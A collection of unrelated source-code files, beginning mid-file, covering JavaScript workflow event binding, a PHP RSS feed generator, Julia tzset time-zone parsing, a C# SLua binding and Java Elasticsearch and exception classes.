    var self = $(this);
    if (!self.siblings().hasClass('chooserBtn')) {
      self.after(getFileBrowseButton(self, true, false, false, true));
    }
  });
}

//// Event handling.
var events = [
  'add.file.workflow',
  'add.property.workflow',
  'add.archive.workflow',
  'add.arg.workflow',
  'add.argument.workflow',
  'add.envvar.workflow',
  'add.param.workflow',
  'add.prepare_delete.workflow',
  'add.prepare_mkdir.workflow',
  'add.delete.workflow',
  'add.mkdir.workflow',
  'add.chmod.workflow',
  'add.move.workflow',
  'add.touchz.workflow',
  'add.parameter.workflow',
  'remove.file.workflow',
  'remove.property.workflow',
  'remove.archive.workflow',
  'remove.arg.workflow',
  'remove.argument.workflow',
  'remove.envvar.workflow',
  'remove.param.workflow',
  'remove.prepare_delete.workflow',
  'remove.prepare_mkdir.workflow',
  'remove.delete.workflow',
  'remove.mkdir.workflow',
  'remove.chmod.workflow',
  'remove.move.workflow',
  'remove.touchz.workflow',
  'remove.parameter.workflow',
  'error.design'
];
$.each(events, function(index, event) {
  $(document).bind(event, addFileBrowseButton);
  $(document).bind(event, function() {
    $(".propKey").typeahead({
      source:(typeof AUTOCOMPLETE_PROPERTIES != 'undefined') ? AUTOCOMPLETE_PROPERTIES : []
    });
  });
});

$(document).bind('error.design', addFileBrowseButton);
$(document).bind('loaded.designs', function() { routie('list-designs'); });


text:
<?php

if ( is_writable($Sitewide['Root'].'feed.xml') ) {
	// For each file
	foreach (glob_recursive($Sitewide['Root'].'*.php', 0, true) as $File) {
		// Get page variables.
		require_once $Sitewide['Puff']['Functions'].'core/load_page_variables.php';
		$Page = load_page_variables($Sitewide, $File, 'Y-m-d\TH:i:sP');
		if ( !$Page['Title'] ) {
			$Page['Title'] = $Sitewide['Page']['Title'];
		}
		if ( !$Page['Tagline'] ) {
			$Page['Tagline'] = $Sitewide['Page']['Tagline'];
		}
		if ( !$Page['Author'] ) {
			$Page['Author'] = $Sitewide['Page']['Author'];
		}
		// Add to list if allowed.
		if ( in_array($Page['Type'], array('Article', 'Blog', 'Blog Post', 'BlogPost', 'Post')) ) {
			$Posts[$Page['Published'].' '.urlencode($Page['Link'])] = $Page;
		}
	}

	krsort($Posts);
	$Posts = array_slice($Posts, 0, 25);

	$Feed = '<?xml version="1.0" encoding="UTF-8"?>
	<rss version="2.0" xmlns:atom="https://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title>'.$Sitewide['Settings']['Site Title'].'</title>
		<link>'.$Sitewide['Settings']['Site Root'].'</link>
		<atom:link href="'.$Sitewide['Settings']['Site Root'].'feed.xml" rel="self" type="application/rss+xml" />
		<description>'.$Sitewide['Settings']['Alternative Site Title'].'</description>
		<language>en-us</language>';

	foreach ($Posts as $Post) {
		$Feed .= '
		<item>
			<title>'.$Post['Title'].'</title>
			<link>'.$Post['Link'].'</link>
			<guid isPermaLink="true">'.$Post['Link'].'</guid>
			<description>'.$Post['Tagline'].'</description>
			<dc:creator>'.$Post['Author'].'</dc:creator>
			<dc:date>'.$Post['Published'].'</dc:date>
			<pubDate>'.date('D, d M Y H:i:s O', strtotime($Post['Published'])).'</pubDate>
		</item>';
	}

	$Feed .= '
	</channel>
</rss>';

	// var_dump($Feed);

	$Result = file_put_contents($Sitewide['Root'].'feed.xml', $Feed);
	if ( $Result ) {
		echo 'Success: Generation and Write of Feed successful.'.PHP_EOL;
	} else {
		echo 'Error: Feed could not be written, but we thought it was writable.'.PHP_EOL;
	}
} else {
	echo 'Error: '.$Sitewide['Root'].'feed.xml is not writeable.'.PHP_EOL;
}


text:
<?php

require_once dirname(__FILE__).'/../lib/comunasGeneratorConfiguration.class.php';
require_once dirname(__FILE__).'/../lib/comunasGeneratorHelper.class.php';

/**
 * Comunas actions.
 *
 * @package    izarusRegionesProvinciasComunasChilePlugin
 * @subpackage Comunas
 * @author     David Vega
 * @version
 */
class comunasActions extends autocomunasActions
{
}


text:
using Dates: DateFormat, DatePart, min_width, max_width, tryparsenext_base10
using TimeZones.TZData: MIN_YEAR, MAX_YEAR

function tryparsenext_fixedtz(str, i, len, min_width::Int=1, max_width::Int=0)
    i == len && str[i] === 'Z' && return ("Z", i+1)

    tz_start, tz_end = i, 0
    min_pos = min_width <= 0 ? i : i + min_width - 1
    max_pos = max_width <= 0 ? len : min(chr2ind(str, ind2chr(str,i) + max_width - 1), len)
    state = 1
    @inbounds while i <= max_pos
        c, ii = iterate(str, i)::Tuple{Char, Int}
        if state == 1 && (c === '-' || c === '+')
            state = 2
            tz_end = i
        elseif (state == 1 || state == 2) && '0' <= c <= '9'
            state = 3
            tz_end = i
        elseif state == 3 && c === ':'
            state = 4
            tz_end = i
        elseif (state == 3 || state == 4) && '0' <= c <= '9'
            tz_end = i
        else
            break
        end
        i = ii
    end

    if tz_end <= min_pos
        return nothing
    else
        tz = SubString(str, tz_start, tz_end)
        return tz, i
    end
end

function tryparsenext_tz(str, i, len, min_width::Int=1, max_width::Int=0)
    tz_start, tz_end = i, 0
    min_pos = min_width <= 0 ? i : i + min_width - 1
    max_pos = max_width <= 0 ? len : min(chr2ind(str, ind2chr(str,i) + max_width - 1), len)
    @inbounds while i <= max_pos
        c, ii = iterate(str, i)::Tuple{Char, Int}
        if c === '/' || c === '_' || isletter(c)
            tz_end = i
        else
            break
        end
        i = ii
    end

    if tz_end == 0
        return nothing
    else
        name = SubString(str, tz_start, tz_end)

        # If the time zone is recognized make sure that it is well-defined. For our
        # purposes we'll treat all abbreviations except for UTC and GMT as ambiguous.
        # e.g. "MST": "Mountain Standard Time" (UTC-7) or "Moscow Summer Time" (UTC+3:31).
        if name == "UTC" || name == "GMT" || '/' in name
            return name, i
        else
            return nothing
        end
    end
end

function Dates.tryparsenext(d::DatePart{'z'}, str, i, len)
    tryparsenext_fixedtz(str, i, len, min_width(d), max_width(d))
end

function Dates.tryparsenext(d::DatePart{'Z'}, str, i, len)
    tryparsenext_tz(str, i, len, min_width(d), max_width(d))
end

function Dates.format(io::IO, d::DatePart{'z'}, zdt, locale)
    write(io, string(zdt.zone.offset))
end

function Dates.format(io::IO, d::DatePart{'Z'}, zdt, locale)
    write(io, string(zdt.zone))  # In most cases will be an abbreviation.
end

# Note: ISOZonedDateTimeFormat is defined in the module __init__ which means that this
# function can not be called from within this module. TODO: Ignore linting for this line
function ZonedDateTime(str::AbstractString, df::DateFormat=ISOZonedDateTimeFormat)
    try
        parse(ZonedDateTime, str, df)
    catch e
        if e isa ArgumentError
            rethrow(ArgumentError(
                "Unable to parse string \"$str\" using format $df. $(e.msg)"
            ))
        else
            rethrow()
        end
    end
end

function ZonedDateTime(str::AbstractString, format::AbstractString; locale::AbstractString="english")
    ZonedDateTime(str, DateFormat(format, locale))
end

Dates.default_format(::Type{ZonedDateTime}) = ISOZonedDateTimeFormat

"""
    _parsesub_tzabbr(str, [i, len]) -> Union{Tuple{AbstractString, Integer}, Exception}

Parses a section of a string as a time zone abbreviation as defined in the tzset(3) man
page. An abbreviation must be at least three or more alphabetic characters. When enclosed by
the less-than (<) and greater-than (>) signs the character set is expanded to include the
plus (+) sign, the minus (-) sign, and digits.

# Examples
```jldoctest
julia> _parsesub_tzabbr("ABC+1")
("ABC", 4)

julia> _parsesub_tzabbr("<ABC+1>+2")
("ABC+1", 6)
```
"""
function _parsesub_tzabbr(
    str::AbstractString,
    i::Integer=firstindex(str),
    len::Integer=lastindex(str),
)
    state = :started
    name_start = i
    name_end = prevind(str, i)

    @inbounds while i <= len
        c, ii = iterate(str, i)::Tuple{Char, Int}
        isascii(c) || break  # Restricts abbreviation support to ASCII characters

        if state == :simple && isletter(c)
            name_end = i
        elseif state == :expanded && (isletter(c) || isdigit(c) || c === '+' || c === '-')
            name_end = i
        elseif state == :started && c === '<'
            name_start = ii
            name_end = i
            state = :expanded
        elseif state == :started && isletter(c)
            name_end = i
            state = :simple
        elseif state == :expanded && c === '>'
            i = ii
            state = :closed
            break
        else
            break
        end
        i = ii
    end

    if state == :expanded
        return ParseNextError("Expected expanded time zone abbreviation end with the greater-than sign (>)", str, prevind(str, name_start), i)
    elseif state != :closed && name_start > name_end
        return ParseNextError("Time zone abbreviation must start with a letter or the less-than (<) character", str, i)
    elseif length(str, name_start, name_end) < 3
        char_type = if state == :simple
            "alphabetic characters"
        else
            "characters which are either alphanumeric, the plus sign (+), or the minus sign (-)"
        end

        return ParseNextError("Time zone abbreviation must be at least three $char_type", str, name_start, name_end)
    else
        name = SubString(str, name_start, name_end)
        return name, i
    end
end

"""
    _parsesub_offset(str, [i, len]) -> Union{Tuple{Integer, Integer}, Exception}

Parses a section of a string as an offset of the form `[+|-]hh[:mm[:ss]]`. The hour must be
between 0 and 24, and the minutes and seconds 00 and 59. This follows specification for
offsets as defined in the tzset(3) man page.

# Example
```jldoctest
julia> _parsesub_offset("1:0:0")
(3600, 5)

julia> _parsesub_offset("-0:1:2")
(-62, 6)
```
"""
function _parsesub_offset(
    str::AbstractString,
    i::Integer=firstindex(str),
    len::Integer=lastindex(str);
    name::AbstractString="offset",
)
    coefficient = 1
    hour = minute = second = 0

    if i > len
        return ParseNextError("Expected $name and instead found end of string", str, i)
    end

    # Optional sign
    c, ii = iterate(str, i)::Tuple{Char, Int}
    if c === '+' || c === '-'
        coefficient = c === '-' ? -1 : 1
        if ii > len
            return ParseNextError("$(uppercasefirst(name)) sign ($c) is not followed by a value", str, i)
        end
        i = ii
    end

    # Hours
    val = tryparsenext_base10(str, i, len)
    if val === nothing
        return ParseNextError("Expected $name hour digits", str, i)
    end
    hour, ii = val
    if hour < 0 || hour > 24
        return ParseNextError("Hours outside of expected range [0, 24]", str, i, prevind(str, ii))
    end
    i = ii
    i > len && @goto done

    c, ii = iterate(str, i)::Tuple{Char, Int}
    c !== ':' && @goto done
    i = ii

    # Minutes
    val = tryparsenext_base10(str, i, len)
    if val === nothing
        return ParseNextError("Expected $name minute digits after colon delimiter", str, i)
    end
    minute, ii = val
    if minute < 0 || minute > 59
        return ParseNextError("Minutes outside of expected range [0, 59]", str, i, prevind(str, ii))
    end
    i = ii
    i > len && @goto done

    c, ii = iterate(str, i)::Tuple{Char, Int}
    c !== ':' && @goto done
    i = ii

    # Seconds
    val = tryparsenext_base10(str, i, len)
    if val === nothing
        return ParseNextError("Expected $name second digits after colon delimiter", str, i)
    end
    second, ii = val
    if second < 0 || second > 59
        return ParseNextError("Seconds outside of expected range [0, 59]", str, i, prevind(str, ii))
    end
    i = ii

    @label done
    duration = coefficient * (hour * 3600 + minute * 60 + second)
    return duration, i
end

"""
    _parsesub_tzdate(str, [i, len]) -> Union{Tuple{Function, Integer}, Exception}

Parses a section of a string as a day of the year as defined in tzset(3). The return value
includes an anonymous function which takes the argument `year::Integer` and returns a
`Date`. The day of year includes these three supported formats:

  Jn      Specifies the Julian day where `n` is between 1 and 365. Leap days are not
          counted. In this format, February 29 can't be represented; February 28 is day 59,
          and March 1 is always day 60.

  n       Specifies the zero-based Julian day with `n` between 0 and 365. February 29 is
          counted in leap years. For non-leap years 365 is January 1 of the following year.

  Mm.w.d  Specifies day `d` (0 <= `d` <= 6) of week `w` (1 <= `w` <= 5) of month `m`
          (1 <= `m` <= 12). Week 1 is the first week in which day `d` occurs and week 5 is
          the last week in which day `d` occurs. Day 0 is a Sunday.

# Example
```jldoctest
julia> f, i = _parsesub_tzdate("J60");

julia> f.(2019:2020)
2-element Array{Date,1}:
 2019-03-01
 2020-03-01

julia> f, i = _parsesub_tzdate("60");
2-element Array{Date,1}:
 2019-03-02
 2020-03-01

julia> f, i = _parsesub_tzdate("M3.3.0");  # Third Sunday in March

julia> f.(2019:2020)
2-element Array{Date,1}:
 2019-03-17
 2020-03-15
```
"""
function _parsesub_tzdate(
    str::AbstractString,
    i::Integer=firstindex(str),
    len::Integer=lastindex(str),
)
    if i > len
        return ParseNextError("Expected date and instead found end of string", str, i)
    end

    # Detect prefix
    c, ii = iterate(str, i)::Tuple{Char, Int}

    if c === 'J'
        i = ii

        val = tryparsenext_base10(str, i, len)
        if val === nothing
            return ParseNextError("Expected to find number of Julian days", str, i)
        end
        days, ii = val
        if days < 1 || days > 365
            return ParseNextError("Julian days outside of expected range [1, 365]", str, i, ii)
        end
        i = ii

        # The `J` prefix denotes a day of year between 1 and 365. Leap days are not counted.
        # In this format, February 29 can't be represented; February 28 is day 59, and
        # March 1 is always day 60.
        f = function (year::Integer)
            d = days + (isleapyear(year) && days >= 60)
            Date(year, 1) + Day(d - 1)
        end
        return f, i

    elseif c === 'M'
        i = ii

        # Month
        val = tryparsenext_base10(str, i, len)
        if val === nothing
            return ParseNextError("Expected to find month", str, i)
        end
        month, ii = val
        if month < 1 || month > 12
            return ParseNextError("Month outside of expected range [1, 12]", str, i, ii)
        end
        i = ii

        c, ii = iterate(str, i)::Tuple{Char, Int}
        (c !== '.' || ii > len) && return ParseNextError("Expected to find delimiter (.)", str, i)
        i = ii

        # Week of month
        val = tryparsenext_base10(str, i, len)
        if val === nothing
            return ParseNextError("Expected to find week of month", str, i)
        end
        week_of_month, ii = val
        if week_of_month < 1 || week_of_month > 5
            return ParseNextError("Week of month outside of expected range [1, 5]", str, i, ii)
        end
        i = ii

        c, ii = iterate(str, i)::Tuple{Char, Int}
        (c !== '.' || ii > len) && return ParseNextError("Expected to find delimiter (.)", str, i)
        i = ii

        # Day of week
        val = tryparsenext_base10(str, i, len)
        if val === nothing
            return ParseNextError("Expected to find day of week", str, i)
        end
        day_of_week, ii = val
        if day_of_week < 0 || day_of_week > 6
            return ParseNextError("Day of week outside of expected range [0, 6]", str, i, ii)
        end
        i = ii

        # Convert to the Julia day-of-week used by `Dates.dayofweek`
        # Equivalent to: `dow = (dow - 7) % 7 + 7`
        day_of_week == 0 && (day_of_week = 7)

        f = function (year::Integer)
            date = Date(year, month, (week_of_month - 1) * 7 + 1)
            if week_of_month < 5
                step = Day(1)
            else
                date = lastdayofmonth(date)
                step = Day(-1)
            end
            tonext(d -> dayofweek(d) == day_of_week, date; step=step, same=true, limit=7)
        end

        return f, i
    else
        val = tryparsenext_base10(str, i, len)
        if val === nothing
            return ParseNextError("Expected to find number of Julian days", str, i)
        end
        days, ii = val
        if days < 0 || days > 365
            # Note: On non-leap years day 365 will be the first day of the next year. This
            # is only supported as the tzset(3) man page explicitly states that the
            # zero-based Julia day is between 0 and 365.
            return ParseNextError("Julian days outside of expected range [0, 365]", str, i, ii)
        end
        i = ii

        # No prefix specifies the zero-based day of year between 0 and 365. February 29 is
        # counted in leap years.
        days += 1

        f = (year::Integer) -> Date(year, 1) + Day(days - 1)
        return f, i
    end
end

"""
    _parsesub_time(str, [i, len]) -> Union{Tuple{Integer, Integer}, Exception}

Parses a section of a string as a time of the form `hh[:mm[:ss]]`. Primarily this function
is used to parse daylight saving transition times as outlined in tzset(3).
"""
function _parsesub_time(
    str::AbstractString,
    i::Integer=firstindex(str),
    len::Integer=lastindex(str);
    name::AbstractString="time",
)
    if i > len
        return ParseNextError("Expected $name and instead found end of string", str, i)
    end

    # Require time does not start with a sign.
    c, ii = iterate(str, i)::Tuple{Char, Int}
    if c === '+' || c === '-'
        return ParseNextError("$(uppercasefirst(name)) should not have a sign", str, i)
    end

    return _parsesub_offset(str, i, len; name=name)
end

"""
    _parsesub_tz(str, [i, len]) -> Union{Tuple{TimeZone, Integer}, Exception}

Parse a direct representation of a time zone as specified by the tzset(3) man page.

# Examples
```jldoctest
julia> first(_parsesub_tz("EST+5"))
EST (UTC-5)

julia> first(_parsesub_tz("NZST-12:00:00NZDT-13:00:00,M10.1.0,M3.3.0"))
NZST/NZDT (UTC+12/UTC+13)
"""
function _parsesub_tz(
    str::AbstractString,
    i::Integer=firstindex(str),
    len::Integer=lastindex(str),
)
    # An empty or unset TZ environmental variable defaults to UTC
    if len == 0
        return FixedTimeZone("UTC"), i
    end

    x = _parsesub_tzabbr(str, i, len)
    if x isa Tuple
        std_name, i = x
    else
        return x
    end

    x = _parsesub_offset(str, i, len; name="standard offset")
    if x isa Tuple
        std_offset, i = x
    else
        return x
    end

    if i <= len
        x = _parsesub_tzabbr(str, i, len)
        if x isa Tuple
            dst_name, i = x
        else
            return x
        end
    else
        dst_name = nothing
    end

    dst_offset = nothing
    if dst_name !== nothing
        iter = iterate(str, i)
        if iter !== nothing && first(iter) !== ','
            x = _parsesub_offset(str, i, len; name="daylight saving offset")
            if x isa Tuple
                dst_offset, i = x
            else
                return x
            end
        else
            dst_offset = std_offset - 3600
        end
    end

    start_dst = first(_parsesub_tzdate("M3.2.0"))::Function  # Second Sunday in March
    end_dst = first(_parsesub_tzdate("M11.1.0"))::Function   # First Sunday in November

    start_time = end_time = Hour(2)  # 02:00
    if i <= len
        c, ii = iterate(str, i)::Tuple{Char, Int}
        if c !== ','
            return ParseNextError("Expected to find delimiter (,)", str, i)
        end
        i = ii

        # Daylight saving goes into effect
        x = _parsesub_tzdate(str, i, len)
        if x isa Tuple
            start_dst, i = x
        else
            return ParseNextError(
                "Unable to parse daylight saving start date. $(x.msg)",
                x.str, x.s, x.e,
            )
        end
        i > len && return ParseNextError("Expected to find daylight saving end and instead found end of string", str, i)

        c, ii = iterate(str, i)::Tuple{Char, Int}
        if c !== '/' && c !== ','
            return ParseNextError("Expected to find delimiter (,) or (/)", str, i)
        end
        i = ii

        if c === '/'
            x = _parsesub_time(str, i, len; name="daylight saving start time")
            if x isa Tuple
                start_time, i = x
                start_time = Second(start_time)
            else
                return x
            end
            i > len && return ParseNextError("Expected to find daylight saving end and instead found end of string", str, i)

            c, ii = iterate(str, i)::Tuple{Char, Int}
            if c !== ','
                return ParseNextError("Expected to find delimiter (,)", str, i)
            end
            i = ii
        end

        x = _parsesub_tzdate(str, i, len)
        if x isa Tuple
            end_dst, i = x
        else
            return ParseNextError(
                "Unable to parse daylight saving end date. $(x.msg)",
                x.str, x.s, x.e,
            )
        end

        if i <= len
            c, ii = iterate(str, i)::Tuple{Char, Int}
            if c !== '/'
                return ParseNextError("Expected to find delimiter (/)", str, i)
            end
            i = ii

            x = _parsesub_time(str, i, len; name="daylight saving end time")
            if x isa Tuple
                end_time, i = x
                end_time = Second(end_time)
            else
                return x
            end
        end
    end

    # "The offset is positive if the local timezone is west of the Prime Meridian and
    # negative if it is east". As this is the opposite of our internal representation we
    # have to negate the values.
    # e.g. "STD+1DST+2" results in a timezone with a std/dst offset of UTC-1/UTC-2
    std = FixedTimeZone(std_name, -std_offset)

    # Note: Most of the parsing time is spent creating the `VariableTimeZone`. The way I
    # would like to address this is by introducing a new `TimeZone` subtype which
    # dynamically calculates the transitions.
    tz = if dst_offset !== nothing
        dst = FixedTimeZone(dst_name, -std_offset, -(dst_offset - std_offset))

        transitions = Transition[]
        for year in 1900:MAX_YEAR
            # Note: "The offset specifies the time value to be added to the local time to get
            # Coordinated Universal Time (UTC)".
            utc_dst = DateTime(start_dst(year)) + start_time + Second(std_offset)
            utc_std = DateTime(end_dst(year)) + end_time + Second(dst_offset)

            append!(
                transitions,
                [
                    Transition(utc_dst, dst),
                    Transition(utc_std, std),
                ]
            )
        end
        sort!(transitions)

        cutoff_year = MAX_YEAR + 1
        utc_dst = DateTime(start_dst(cutoff_year)) + start_time + Second(std_offset)
        utc_std = DateTime(end_dst(cutoff_year)) + end_time + Second(dst_offset)
        cutoff = min(utc_dst, utc_std)

        # TODO: Ideally we would use a new TimeZone subtype which computes transitions
        # on-the-fly using the functions we provided.
        VariableTimeZone("$std_name/$dst_name", transitions, cutoff)
    else
        std
    end

    return tz, i
end


text:
using UnityEngine;
using System;
using LuaInterface;
using SLua;
using System.Collections.Generic;
public class Lua_UnityEngine_UnassignedReferenceException : LuaObject {
	[MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))]
	static public int constructor(IntPtr l) {
		int argc = LuaDLL.lua_gettop(l);
		UnityEngine.UnassignedReferenceException o;
		if(argc==1){
			o=new UnityEngine.UnassignedReferenceException();
			pushObject(l,o);
			return 1;
		}
		else if(argc==2){
			System.String a1;
			checkType(l,2,out a1);
			o=new UnityEngine.UnassignedReferenceException(a1);
			pushObject(l,o);
			return 1;
		}
		else if(argc==3){
			System.String a1;
			checkType(l,2,out a1);
			System.Exception a2;
			checkType(l,3,out a2);
			o=new UnityEngine.UnassignedReferenceException(a1,a2);
			pushObject(l,o);
			return 1;
		}
		LuaDLL.luaL_error(l,"New object failed.");
		return 0;
	}
	static public void reg(IntPtr l) {
		getTypeTable(l,"UnityEngine.UnassignedReferenceException");
		createTypeMetatable(l,constructor, typeof(UnityEngine.UnassignedReferenceException));
	}
}


text:
package org.elasticsearch.search.aggregations.support;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import org.elasticsearch.search.aggregations.Aggregator;
import org.elasticsearch.search.aggregations.AggregatorFactories;
import org.elasticsearch.search.aggregations.AggregatorFactory;
import org.elasticsearch.search.aggregations.pipeline.PipelineAggregator;
import org.elasticsearch.search.internal.SearchContext;

public abstract class MultiValuesSourceAggregatorFactory<VS extends ValuesSource, AF extends MultiValuesSourceAggregatorFactory<VS, AF>>
    extends AggregatorFactory<AF> {

  protected List<NamedValuesSourceConfigSpec<VS>> configs;

  public MultiValuesSourceAggregatorFactory(String name,
      List<NamedValuesSourceConfigSpec<VS>> configs,
      SearchContext context, AggregatorFactory<?> parent,
      AggregatorFactories.Builder subFactoriesBuilder,
      Map<String, Object> metaData) throws IOException {
    super(name, context, parent, subFactoriesBuilder, metaData);
    this.configs = configs;
  }

  @Override
  public Aggregator createInternal(Aggregator parent, boolean collectsFromSingleBucket,
      List<PipelineAggregator> pipelineAggregators,
      Map<String, Object> metaData) throws IOException {
    List<NamedValuesSourceSpec<VS>> valuesSources = new ArrayList<>();

    for (NamedValuesSourceConfigSpec<VS> config : configs) {
      VS vs = config.getConfig().toValuesSource(context.getQueryShardContext());
      if (vs != null) {
        valuesSources.add(new NamedValuesSourceSpec<>(config.getName(), vs));
      }
    }
    if (valuesSources.isEmpty()) {
      return createUnmapped(parent, pipelineAggregators, metaData);
    }
    return doCreateInternal(valuesSources, parent, collectsFromSingleBucket, pipelineAggregators,
        metaData);
  }

  protected abstract Aggregator createUnmapped(Aggregator parent,
      List<PipelineAggregator> pipelineAggregators,
      Map<String, Object> metaData) throws IOException;

  protected abstract Aggregator doCreateInternal(List<NamedValuesSourceSpec<VS>> valuesSources,
      Aggregator parent,
      boolean collectsFromSingleBucket,
      List<PipelineAggregator> pipelineAggregators, Map<String, Object> metaData)
      throws IOException;

}


text:
package com.caffinc.urls.core.exceptions;

/**
 * @author Sriram
 * @since 4/27/2016
 */
public class ShorteningException extends RuntimeException {
    public ShorteningException() {
    }

    public ShorteningException(String message) {
        super(message);
    }

    public ShorteningException(String message, Throwable cause) {
        super(message, cause);
    }

    public ShorteningException(Throwable cause) {
        super(cause);
    }

    public ShorteningException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {
        super(message, cause, enableSuppression, writableStackTrace);
    }
}